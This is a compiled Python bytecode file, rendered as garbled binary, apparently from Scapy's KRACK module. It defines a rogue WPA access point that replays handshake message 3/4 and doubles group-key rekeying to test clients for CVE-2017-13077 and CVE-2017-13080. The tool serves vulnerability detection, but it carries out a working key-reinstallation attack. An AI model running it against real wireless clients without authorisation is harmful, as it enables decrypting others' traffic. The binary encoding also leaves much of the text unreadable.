a
    kÄ#day  ã                   @   sˆ  d dl Z d dlZd dlmZ d dlZd dlZd dlmZ d dlm	Z	 d dl
mZ d dlmZmZ d dlmZ d dlmZ d d	lmZmZ d d
lmZ d dlmZ d dlmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z( d dl)m*Z* d dl+m,Z,m-Z-m.Z.m/Z/ d dl0m1Z1 d dl2m3Z3 d dl4m5Z5m6Z6 d dl7m8Z8 d dl9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z?m@Z@mAZAmBZB G dd„ de1ƒZCG dd„ deƒZDdS )é    N)Úcount)Úhashes)Ú
PBKDF2HMAC)Údefault_backend)ÚATMTÚ	Automaton)ÚNet)Úconf)ÚrawÚchb)ÚLINUX)Úlog_runtime)ÚAKMSuiteÚDot11ÚDot11AssoReqÚDot11AssoRespÚ	Dot11AuthÚDot11BeaconÚDot11EltÚDot11EltDSSSetÚDot11EltRSNÚDot11EltRatesÚDot11ProbeReqÚDot11ProbeRespÚRSNCipherSuiteÚRadioTap)ÚEAPOL)ÚARPÚLLCÚSNAPÚEther)ÚDHCP_am)ÚRaw)ÚhexdumpÚmac2str)ÚRandBin)	Úparse_data_pktÚparse_TKIP_hdrÚbuild_TKIP_payloadÚcheck_MIC_ICVÚMICErrorÚICVErrorÚbuild_MIC_ICVÚcustomPRF512ÚARC4_encryptc                       s(   e Zd ZdZ‡ fdd„Zdd„ Z‡  ZS )ÚDHCPOverWPAz:Wrapper over DHCP_am to send and recv inside a WPA channelc                    s    t t| ƒj|i |¤Ž || _d S ©N)Úsuperr/   Ú__init__Zsend_function)ÚselfÚ	send_funcÚargsÚkwargs©Ú	__class__© úT/var/www/html/gsl.tools/lib/python3.9/site-packages/scapy/modules/krack/automaton.pyr2   5   s    zDHCPOverWPA.__init__c                 O   s   d S r0   r9   ©r3   r5   r6   r9   r9   r:   Úsniff9   s    zDHCPOverWPA.sniff)Ú__name__Ú
__module__Ú__qualname__Ú__doc__r2   r<   Ú__classcell__r9   r9   r7   r:   r/   2   s   r/   c                       sJ  e Zd ZdZdZ‡ fdd„Zdx‡ fd	d
„	Z‡ fdd„Zedd„ ƒZ	dd„ Z
dd„ Zdd„ Zdd„ Zedydd„ƒZdd„ Zddgdfdd„Zdd „ Zdzd"d#„Zd$d%„ Zd&d'„ Zejdd(�d)d*„ ƒZe ¡ d+d,„ ƒZe ¡ d-d.„ ƒZe ¡ d/d0„ ƒZe ¡ d1d2„ ƒZe ¡ d3d4„ ƒZe ¡ d5d6„ ƒZe ed7¡d8d9„ ƒZe ¡ d:d;„ ƒZ e ¡ d<d=„ ƒZ!e ¡ d>d?„ ƒZ"ejd7d@�dAdB„ ƒZ#e e!d7¡dCdD„ ƒZ$e edE¡dFdG„ ƒZ%e &e%¡dHdI„ ƒZ'e (e¡dJdK„ ƒZ)e &e)¡dLdM„ ƒZ*e (e¡dNdO„ ƒZ+e &e+¡dPdQ„ ƒZ,e (e¡dRdS„ ƒZ-e &e-¡dTdU„ ƒZ.e /e¡dVdW„ ƒZ0e &e0¡dXdY„ ƒZ1e (e¡dZd[„ ƒZ2e &e2¡d\d]„ ƒZ3e (e¡d^d_„ ƒZ4e /e¡d`da„ ƒZ5e &e5¡d{dcdd„ƒZ6e (e¡dedf„ ƒZ7e &e7¡dgdh„ ƒZ8e /e ¡didj„ ƒZ9e &e9¡dkdl„ ƒZ:e (e!¡dmdn„ ƒZ;e &e;¡dodp„ ƒZ<e e"dq¡drds„ ƒZ=e (e"¡dtdu„ ƒZ>e &e>¡dvdw„ ƒZ?‡  Z@S )|ÚKrackAPa5  Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in:
    "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2"

    Example of use:
    KrackAP(
        iface="mon0",               # A monitor interface
        ap_mac='11:22:33:44:55:66', # MAC to use
        ssid="TEST_KRACK",          # SSID
        passphrase="testtest",      # Associated passphrase
    ).run()

    Then, on the target device, connect to "TEST_KRACK" using "testtest" as the
    passphrase.
    The output logs will indicate if one of the CVE have been triggered.
    é2   c                    s8   |  dtj¡ ts|  dd¡ tt| ƒj|i |¤Ž d S )NÚllZmonitorT)Ú
setdefaultr	   ZL2socketr   r1   rB   r2   )r3   r5   Zkargsr7   r9   r:   r2   T   s    zKrackAP.__init__NTr   é
   c                    sÒ   t t| ƒjf i |¤Ž || _|| _|| _|du r4d}|| _d| _d| _t	ƒ | _
t	ƒ | _d| _t| jtdƒddd�| _g | _d| _d| _d| _|| _|| _|| _|| _|	| _|
du rº| jj}
|
| _|| _|  ¡  dS )a4  
        Mandatory arguments:

        :param iface: interface to use (must be in monitor mode)
        :param ap_mac: AP's MAC
        :param ssid: AP's SSID
        :param passphrase: AP's Passphrase (min 8 char.)

        Optional arguments:

        :param channel: used by the interface. Default 6

        Krack attacks options:

         - Msg 3/4 handshake replay:

        :param double_3handshake: double the 3/4 handshake message
        :param encrypt_3handshake: encrypt the second 3/4 handshake message
        :param wait_3handshake: time to wait (in sec.) before sending the
            second 3/4

        - double GTK rekeying:

        :param double_gtk_refresh: double the 1/2 GTK rekeying message
        :param wait_gtk: time to wait (in sec.) before sending the GTK rekeying
        :param arp_target_ip: Client IP to use in ARP req. (to detect attack
            success). If None, use a DHCP server
        :param arp_source_ip: Server IP to use in ARP req. (to detect attack
            success). If None, use the DHCP server gateway address
        Né   z192.168.42.128/25z192.168.42.0/24z192.168.42.1)r4   ÚpoolÚnetworkÚgwr   )r1   rB   Ú
parse_argsÚmacÚssidÚ
passphraseÚchannelÚlast_ivÚclientr   Úseq_numÚreplay_counterÚtime_handshake_endr/   Úsend_ether_over_wpar   Údhcp_serverÚarp_sentÚarp_to_sendÚ	arp_retryÚkrack_stateÚdouble_3handshakeÚencrypt_3handshakeÚwait_3handshakeÚdouble_gtk_refreshÚarp_target_iprJ   Úarp_source_ipÚwait_gtkÚinstall_PMK)r3   Zap_macrM   rN   rO   r[   r\   r]   r^   r_   r`   ra   r6   r7   r9   r:   rK   Z   s>    )ýzKrackAP.parse_argsc                    s,   t  d| j| j¡ tt| ƒj|i |¤Ž d S )Nz$AP started with ESSID: %s, BSSID: %s)r   ÚwarningrM   rL   r1   rB   Úrunr;   r7   r9   r:   rd   ¯   s    ÿzKrackAP.runc                 C   s   t t| ƒƒS )z;Return a nonce of @size element of random bytes as a string)r
   r%   )Úsizer9   r9   r:   Ú	gen_nonce¶   s    zKrackAP.gen_noncec                 C   s0   t t ¡ d| j ¡ dtƒ d� | j ¡ ¡| _dS )zCompute and install the PMKé    i   )Ú	algorithmÚlengthÚsaltZ
iterationsÚbackendN)	r   r   ÚSHA1rM   Úencoder   ZderiverN   Úpmk©r3   r9   r9   r:   rb   »   s    ûúzKrackAP.install_PMKc                 C   s’   | j }| j}|}t| jƒ}t| jƒ}t|||||ƒ| _| jdd… | _| jdd… | _| jdd… | _	| jdd… | _
| jdd… | _tƒ | _dS )z~Use the client nonce @client_nonce to compute and install
        PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP)
        Né   rg   é0   é8   é@   )rn   Úanoncer$   rL   rQ   r-   ZptkÚkckÚkekÚtkÚmic_ap_to_staÚmic_sta_to_apr   Ú	client_iv)r3   Úclient_noncern   rt   ZsnonceZamacZsmacr9   r9   r:   Úinstall_unicast_keysÅ   s    

zKrackAP.install_unicast_keysc                 C   s8   |   d¡| _| jdd… | _| jdd… | _tƒ | _dS )zbCompute a new GTK and install it alongs
        MIC (AP -> Group = broadcast + multicast)
        rg   Nrp   é   )rf   Úgtk_fullÚgtkÚmic_ap_to_groupr   Úgroup_ivro   r9   r9   r:   Úinstall_GTKÜ   s    zKrackAP.install_GTKc                 C   s†   t t ¡ d ƒd@ }tƒ t|| j| jd� ||ddd� td| jd� tg d	¢d
� t| j	d� t
tdd�tdd�gtdd�gd� S )z^Build a packet with info describing the current AP
        For beacon / proberesp use
        g    €„.Al   ÿÿÿÿ ©Úaddr1Úaddr2Úaddr3éd   zESS+privacy)Ú	timestampZbeacon_intervalÚcapZSSID)ÚIDÚinfo©é‚   é„   é‹   é–   é   é   r}   é$   ©Zrates)rO   é   )Úcipher)Zsuite)Zgroup_cipher_suiteZpairwise_cipher_suitesZ
akm_suites)ÚintÚtimer   r   rL   r   rM   r   r   rO   r   r   r   )r3   Z	layer_clsÚdestÚtsr9   r9   r:   Úbuild_ap_info_pktí   s&    ÿÿþüû
ú


þùzKrackAP.build_ap_info_pktr•   c	                 C   sz  t ddd�}	t d¡}
|dks"J ‚|dks.J ‚d t|ƒt d| ¡dt d	|¡||
t d	|¡t d	|¡g¡}t|ƒ}|d
7 }|d u rª|d u rª|d u rª|d7 }|	t|d� S |d us¶J ‚|d usÂJ ‚|d usÎJ ‚t	|
| |dd�}|t dt|ƒ¡7 }||7 }|	 
¡ }|t|d� }t|t  ƒ}t ||tj¡ ¡ }|d |… | ||t|ƒ d …  }t|ƒt|ƒk�slJ ‚|	t|d� S )Nz802.1X-2004z	EAPOL-Key)ÚversionÚtyperp   r   ó    z>Hs     z>Qs                   ó     )Úloadé   )Úskip)r   rB   rf   Újoinr   ÚstructÚpackÚlenr"   r.   Úcopyr
   ÚhmacÚnewÚhashlibÚmd5Údigest)Úkey_informationrS   ÚnonceÚdataÚkey_micÚkey_data_encryptZkey_rscZkey_idZkey_descriptor_typeÚpktZkey_ivÚpayloadZ
offset_MICZenc_dataZtemp_micZto_micZmicZfinal_payloadr9   r9   r:   Úbuild_EAPOL_Key_8021X2004ý   s@    




ø$z!KrackAP.build_EAPOL_Key_8021X2004c                 C   s&   d  dtt| jƒd ƒddd| jg¡S )z[Build the Key Data Encapsulation for GTK
        KeyID: 0
        Ref: 802.11i p81
        rž   ó   ÝrG   s    ¬ó   rŸ   )r£   r   r¦   r~   ro   r9   r9   r:   Úbuild_GTK_KDE@  s    úzKrackAP.build_GTK_KDEúfrom-DSc	              
   C   s‚   |du r| j }tƒ }	|	t|| j| jd dg| ¡t| jƒd> ddd� }	tt|ƒ|| j|ƒ}
|	t	t
|
|| j|ƒƒ }	|  |	¡ |	S )zuSend an encrypted packet with content @data, using IV @iv,
        sequence number @seqnum, MIC key @mic_key
        Nú+Ú	protectedé   r   ÚData©r„   r…   r†   ÚFCfieldÚSCÚsubtyper�   )rw   r   r   rL   r£   ÚnextrR   r,   r
   r"   r(   Úsend)r3   r¯   ÚivÚseqnumr™   Úmic_keyZkey_idxZadditionnal_flagÚencrypt_keyÚrepZdata_to_encr9   r9   r:   Úsend_wpa_encN  s     ù
zKrackAP.send_wpa_encc                 K   s8   |  d| j¡ | j|t| jƒt| jƒ| j| jfi |¤ŽS ©NrÆ   )rE   rw   rÈ   rÁ   rz   rR   rQ   rx   )r3   r¯   r6   r9   r9   r:   Úsend_wpa_to_clientn  s    þþzKrackAP.send_wpa_to_clientúff:ff:ff:ff:ff:ffc                 K   s6   |  d| j¡ | j|t| jƒt| jƒ|| jfi |¤ŽS rÉ   )rE   r   rÈ   rÁ   r�   rR   r€   )r3   r¯   r™   r6   r9   r9   r:   Úsend_wpa_to_groupt  s    
þþzKrackAP.send_wpa_to_groupc                 K   sN   t ƒ tƒ  |t j }|j}|dkr2|  ||¡ n|| jks@J ‚|  |¡ dS )zƒSend an Ethernet packet using the WPA channel
        Extra arguments will be ignored, and are just left for compatibility
        rË   N)r   r   r    r³   ÚdstrÌ   rQ   rÊ   )r3   r²   r6   r³   r™   r9   r9   r:   rU   z  s    zKrackAP.send_ether_over_wpac                 C   s®   t |v r.t| j| jd�|t  j }| j |¡ t|v rª|t jdkrª|t j	| jj
krª| jd u rz|t j| _t d| j¡ tƒ t ƒ  td| j| j| j| jd� }|  |¡ d S )N)ÚsrcrÍ   é   zDetected IP: %szis-at)ÚopÚpsrcÚpdstÚhwsrcZhwdst)r   r    rQ   rL   r³   rV   Zreplyr   rÐ   rÒ   rJ   r_   rÑ   r   r‹   r   r`   rÊ   )r3   r²   Z	ether_pktZARP_ansr9   r9   r:   Údeal_common_pkt‡  s&    ÿÿ
ûzKrackAP.deal_common_pkt)Úinitialc                 C   s   t  d¡ d S )NzState WAIT_AUTH_REQUEST©r   Údebugro   r9   r9   r:   ÚWAIT_AUTH_REQUEST¡  s    zKrackAP.WAIT_AUTH_REQUESTc                 C   s   t  d¡ d S )NzState AUTH_RESPONSE_SENTrÖ   ro   r9   r9   r:   ÚAUTH_RESPONSE_SENT¥  s    zKrackAP.AUTH_RESPONSE_SENTc                 C   s   t  d¡ d S )NzState ASSOC_RESPONSE_SENTrÖ   ro   r9   r9   r:   ÚASSOC_RESPONSE_SENT©  s    zKrackAP.ASSOC_RESPONSE_SENTc                 C   s   t  d¡ d S )NzState WPA_HANDSHAKE_STEP_1_SENTrÖ   ro   r9   r9   r:   ÚWPA_HANDSHAKE_STEP_1_SENT­  s    z!KrackAP.WPA_HANDSHAKE_STEP_1_SENTc                 C   s   t  d¡ d S )NzState WPA_HANDSHAKE_STEP_3_SENTrÖ   ro   r9   r9   r:   ÚWPA_HANDSHAKE_STEP_3_SENT±  s    z!KrackAP.WPA_HANDSHAKE_STEP_3_SENTc                 C   s   t  d¡ d S )NzState KRACK_DISPATCHERrÖ   ro   r9   r9   r:   ÚKRACK_DISPATCHERµ  s    zKrackAP.KRACK_DISPATCHERc                 C   s   t  d¡ d S )NzState ANALYZE_DATArÖ   ro   r9   r9   r:   ÚANALYZE_DATA¹  s    zKrackAP.ANALYZE_DATArÏ   c                 C   s   |   ¡ ‚d S r0   )rÝ   ro   r9   r9   r:   Útimeout_analyze_data½  s    zKrackAP.timeout_analyze_datac                 C   s   t  d¡ d S )NzState RENEW_GTKrÖ   ro   r9   r9   r:   Ú	RENEW_GTKÁ  s    zKrackAP.RENEW_GTKc                 C   s   t  d¡ d S )NzState WAIT_GTK_ACCEPTrÖ   ro   r9   r9   r:   ÚWAIT_GTK_ACCEPTÅ  s    zKrackAP.WAIT_GTK_ACCEPTc                 C   s   t  d¡ d S )NzState WAIT_ARP_REPLIESrÖ   ro   r9   r9   r:   ÚWAIT_ARP_REPLIESÉ  s    zKrackAP.WAIT_ARP_REPLIES)Úfinalc                 C   s   t  d¡ d S )Nz
State EXITrÖ   ro   r9   r9   r:   ÚEXITÍ  s    zKrackAP.EXITc                 C   s   |   ¡ ‚d S r0   )rà   ro   r9   r9   r:   Útimeout_wait_gtk_acceptÑ  s    zKrackAP.timeout_wait_gtk_acceptgš™™™™™¹?c                 C   s   |   ¡ ‚d S r0   )rØ   ro   r9   r9   r:   Útimeout_waitingÕ  s    zKrackAP.timeout_waitingc                 C   s&   t  d¡ | jtdd�}|  |¡ d S )NzSend a beaconrË   ©r™   )r   r×   r›   r   rÂ   ©r3   rÇ   r9   r9   r:   Úsend_beaconÙ  s    
zKrackAP.send_beaconc                 C   s@   t |vrd S t|v r<|td ddi… j| jkr<|  ¡  |¡‚d S ©NrŠ   r   )r   r   r   r‹   rM   rØ   Úaction_parameters©r3   r²   r9   r9   r:   Úprobe_request_receivedß  s    "zKrackAP.probe_request_receivedc                 C   s   | j t|jd�}|  |¡ d S )Nrç   )r›   r   r…   rÂ   ©r3   r²   rÇ   r9   r9   r:   Úsend_probe_responseç  s    zKrackAP.send_probe_responsec                 C   sD   t |vrd S t|v r@|j|j  kr.| jkr@n n|  ¡  |¡‚d S r0   )r   r   r„   r†   rL   rÙ   rë   rì   r9   r9   r:   Úauthent_receivedì  s    &zKrackAP.authent_receivedc                 C   sh   |j | _t d| j¡ |  ¡  tƒ }|t| j| j| jd� }|td|t j	|t j
d� }|  |¡ d S )NzClient %s connected!rƒ   r•   )rÄ   ÚalgoÚstatus)r…   rQ   r   rc   rV   r   r   rL   r   rñ   rò   rÂ   rî   r9   r9   r:   Úsend_auth_responseô  s    ÿzKrackAP.send_auth_responsec                 C   sR   t |v rN|j|j  kr"| jkrNn n(|td ddi… j| jkrN|  ¡  |¡‚d S rê   )	r   r„   r†   rL   r   r‹   rM   rÚ   rë   rì   r9   r9   r:   Úassoc_received  s    &ÿzKrackAP.assoc_receivedc                 C   s„   |t d ddi…  ¡ }| ¡  t|ƒ| _| jd d… d | _tƒ }|t| j| j| jd� }|t	ƒ  }|t
g d¢d� }|  |¡ d S )NrŠ   rq   éþÿÿÿrŸ   rƒ   rŒ   r”   )r   r§   Zremove_payloadr
   ÚRSNr   r   rQ   rL   r   r   rÂ   )r3   r²   Ztemp_pktrÇ   r9   r9   r:   Úsend_assoc_response  s    

zKrackAP.send_assoc_responsec                 C   s   |   ¡ ‚d S r0   )rÛ   ro   r9   r9   r:   Ú
assoc_sent  s    zKrackAP.assoc_sentc                 C   s„   |   d¡| _tƒ }|t| j| j| jdt| jƒd> d� }|tdddd� }|t	dd	d
� }|| j
dt| jƒ| jd� }|  |¡ d S )Nrg   r¸   r»   ©r„   r…   r†   r¾   r¿   éª   é   ©ZdsapZssapZctrlr   éŽˆ  ©ZOUIÚcodeé‰   )r­   rS   r®   )rf   rt   r   r   rQ   rL   rÁ   rR   r   r   r´   rS   rÂ   rè   r9   r9   r:   Úsend_wpa_handshake_1   s"    ûýzKrackAP.send_wpa_handshake_1c                 C   sZ   t |vrd S t|v rV|j|j  kr.| jkrVn n$|t jdd… dkrV|  ¡  |¡‚d S )NrÏ   r•   r¶   )r   r   r„   r†   rL   r    rÜ   rë   rì   r9   r9   r:   Úwpa_handshake_1_sent7  s    &ÿzKrackAP.wpa_handshake_1_sentc                 C   s  |t  jdd… }|  |¡ |t  jdd… }t|t  ƒ |dt|ƒ ¡}t | j|t	j
¡ ¡ |kshJ ‚tƒ }|t| j| j| jdt| jƒd> d� }|td	d	d
d� }|tddd� }|  ¡  | j}||  ¡ 7 }| jdt| jƒ| j|| j| jd�}|  || ¡ d S )Né   é-   éM   é]   ó    r¸   r»   rù   rú   rû   rü   r   rý   rþ   éÉ  ©r­   rS   r®   r¯   r°   r±   )r   r    r|   r
   Úreplacer¦   r¨   r©   ru   rª   r«   r¬   r   r   rQ   rL   rÁ   rR   r   r   r‚   rö   r·   r´   rS   rt   rv   rÂ   )r3   r²   r{   Z
client_micZclient_datarÇ   r¯   Úeapr9   r9   r:   Úsend_wpa_handshake_3B  s6    
ûú	zKrackAP.send_wpa_handshake_3c                 C   s^   t |vrd S t|v rZ|j|j  kr.| jkrZn n(|t jdd… dkrZt ¡ | _|  ¡ ‚d S )NrÏ   rû   s   	)	r   r   r„   r†   rL   r    r˜   rT   rÝ   rì   r9   r9   r:   Úwpa_handshake_3_sentl  s    &ÿ
zKrackAP.wpa_handshake_3_sentc                 C   s„   t   ¡ }| jrF| jd@ dkrF|| j | jkrFt d¡ |  ¡ jdd�‚| jd@ dkrt|| j | j	krt|  ¡ jdd�‚|  ¡  ¡ ‚d S )NrÏ   r   z Trying to trigger CVE-2017-13077T)Úsend_3handshaker•   )Úsend_gtk)
r˜   r[   rZ   rT   r]   r   r‹   rÞ   rë   ra   )r3   Únowr9   r9   r:   Úkrack_dispatchv  s    ÿ
ÿzKrackAP.krack_dispatchFc              
   C   sæ   |rÀt ƒ }|t| j| j| jdt| jƒd> ddd� }|tdddd� }|tdd	d
� }| j}||  	¡ 7 }| j
dt| jƒ| j|| j| jd�}|| }| jr¨|  |t ¡ n
|  |¡ |  jdO  _|râ|  jdO  _|  ¡  |  ¡ ‚d S )Nr¸   r»   r   r¼   r½   rú   rû   rü   rý   rþ   r  r	  rÏ   r•   )r   r   rQ   rL   rÁ   rR   r   r   rö   r·   r´   rS   rt   ru   rv   r\   rÊ   rÂ   rZ   r‚   rà   )r3   r  r  rÇ   r¯   Zeap_2r9   r9   r:   Úkrack_proceed‡  s@    ù
÷
zKrackAP.krack_proceedc                 C   s\   t |vrd S |t jjrd S |t jjs,d S |jdkrXt|v rX|j| jkrX|  	¡  
|¡‚d S ©Nr•   )r   r   r¾   Úretryrº   r�   r"   r„   rL   rÝ   rë   rì   r9   r9   r:   Úget_data¶  s    zKrackAP.get_datac              	   C   s˜  t |ƒ\}}}|d |d d> B |d d> B |d d> B |d d	> B |d
 d> B }t dt|ƒ¡ | jd u rt|| _n|| jkrˆt d¡ d }t|| jƒ}zt|| j	|j
|jƒ}W n ttfyÆ   Y n0 |d u �r.t|dt| jƒ ƒ}z.dt| j	ƒ }t|||j
|jƒ}t d¡ W n ttf�y,   Y n0 |d u �rbt d¡ t t|dd�¡ |  |¡ d S t t|dd�¡ t|ƒ}t t|ƒ¡ |  |¡ d S )Nr   rÏ   é   r•   rp   rû   r}   r»   rg   é   é(   zGot a packet with IV: %szRIV re-use!! Client seems to be vulnerable to handshake 3/4 replay (CVE-2017-13077)r  z6Client has installed an all zero encryption key (TK)!!z1Unable to decode the packet, something went wrongT©Údump)r'   r   r‹   ÚhexrP   rc   r&   rw   r)   ry   r…   r†   r+   r*   r¦   r×   r#   rÔ   r   Úrepr)r3   r²   ZTSCÚ_rÃ   Ú
data_clearr¯   rÅ   r9   r9   r:   Ú
extract_ivÉ  sH    *
ÿ
ÿ


ÿ



zKrackAP.extract_ivc                 C   s   |   ¡ ‚d S r0   )rá   ro   r9   r9   r:   Ú	gtk_pkt_1û  s    zKrackAP.gtk_pkt_1c                 C   s^   t dddd�}|tddd� }|  ¡ }| jdt| jƒ| j|| j| jd�}|| }|  	|¡ d S )	Nrú   rû   rü   r   rý   rþ   i�  r	  )
r   r   r·   r´   rÁ   rS   rt   ru   rv   rÊ   )r3   Z
rep_to_encr¯   r  r9   r9   r:   Úsend_renew_gtkÿ  s    ÷zKrackAP.send_renew_gtkc              	   C   sÔ   t |vrd S |t jjrd S |t jjs,d S zt|| jƒ}W n tyP   Y d S 0 zt|| j	|j
|jƒ}W n ttfy‚   Y d S 0 t|ƒ}t|v rÐ|j|j  kr®| jkrÐn n|t jdd… dkrÐ|  ¡ ‚d S )NrÏ   rû   s   )r   r   r¾   r  rº   r&   rw   Ú
ValueErrorr)   ry   r…   r†   r+   r*   r   r   r„   rL   r    râ   )r3   r²   r¯   r  Z	pkt_clearr9   r9   r:   Ú	get_gtk_2  s*    ÿ&ÿzKrackAP.get_gtk_2c                 C   s   | j d@ dkr~| jj | j| j¡| _| jd us2J ‚t d| j| j¡ | j	t
ƒ tƒ  td| j| j| jd� dd�}| j |¡ n~| jt| jƒk r°|  | j| j ¡ |  jd7  _nLd| _|  jd7  _t d	| j| j¡ | j| jkrôt d
¡ |  ¡ ‚|  ¡ ‚d S )Nr»   r   z"Send ARP who-was from '%s' to '%s'zwho-has)rÐ   rÑ   rÒ   rÓ   rË   rç   rÏ   z&Trying to trigger CVE-2017-13080 %d/%dz1Client is likely not vulnerable to CVE-2017-13080)rZ   rV   ZleasesÚgetrQ   r_   r   r‹   r`   rÌ   r   r   r   rL   rW   ÚappendrX   r¦   rÂ   rY   ÚARP_MAX_RETRYrc   rä   rà   )r3   Zarp_pktr9   r9   r:   Úsend_arp_req4  s<    ÿþýûÿ
zKrackAP.send_arp_reqg      à?c                 C   s   |   ¡  |  ¡ ‚d S r0   )r'  râ   ro   r9   r9   r:   Úresend_arp_req\  s    zKrackAP.resend_arp_reqc                 C   s\   t |vrd S |t jjrd S |t jjs,d S |jdkrXt|v rX|j| jkrX|  	¡  
|¡‚d S r  )r   r   r¾   r  rº   r�   r"   r„   rL   râ   rë   rì   r9   r9   r:   Úget_arpa  s    zKrackAP.get_arpc              	   C   sò   t || jƒ}zt|| j|j|jƒ}W n ttfy<   Y d S 0 t|ƒ}t	 
t|dd�¡ t	 
t|ƒ¡ |  |¡ t|vr|d S |t jdkrî|t j| jkrî|t j| jkrî| jd@ dkrät	 d¡ |  jdO  _t	 d¡ |  ¡ ‚n
t	 d¡ d S )	NTr  r•   r»   r   zGot ARP reply, this is normalz Trying to trigger CVE-2017-13080z2Broadcast packet accepted twice!! (CVE-2017-13080))r&   rw   r)   ry   r…   r†   r+   r*   r   r   r×   r#   r  rÔ   r   rÐ   rÑ   r_   rÒ   r`   rZ   r‹   rà   rc   )r3   r²   r¯   r  Zdecoded_pktr9   r9   r:   Úcheck_arp_replyt  s0    ÿ
ÿþ


zKrackAP.check_arp_reply)NTTr   TNNrF   )NNNr   r   r•   )rË   )FF)Ar=   r>   r?   r@   r&  r2   rK   rd   Ústaticmethodrf   rb   r|   r‚   r›   r´   r·   rÈ   rÊ   rÌ   rU   rÔ   r   ÚstaterØ   rÙ   rÚ   rÛ   rÜ   rÝ   rÞ   Útimeoutrß   rà   rá   râ   rä   rå   ræ   Úactionré   Zreceive_conditionrí   rï   rð   ró   rô   r÷   Ú	conditionrø   r  r  r  r  r  r  r  r  r   r!  r#  r'  r(  r)  r*  rA   r9   r9   r7   r:   rB   >   sÚ           ÷U

      ÷Bþ
 































)
	
.

1



'


rB   )Er¨   rª   Ú	itertoolsr   r¤   r˜   Zcryptography.hazmat.primitivesr   Z)cryptography.hazmat.primitives.kdf.pbkdf2r   Zcryptography.hazmat.backendsr   Zscapy.automatonr   r   Zscapy.base_classesr   Zscapy.configr	   Zscapy.compatr
   r   Zscapy.constsr   Zscapy.errorr   Zscapy.layers.dot11r   r   r   r   r   r   r   r   r   r   r   r   r   r   Zscapy.layers.eapr   Zscapy.layers.l2r   r   r   r    Zscapy.layers.dhcpr!   Zscapy.packetr"   Zscapy.utilsr#   r$   Zscapy.volatiler%   Zscapy.modules.krack.cryptor&   r'   r(   r)   r*   r+   r,   r-   r.   r/   rB   r9   r9   r9   r:   Ú<module>   s.   @,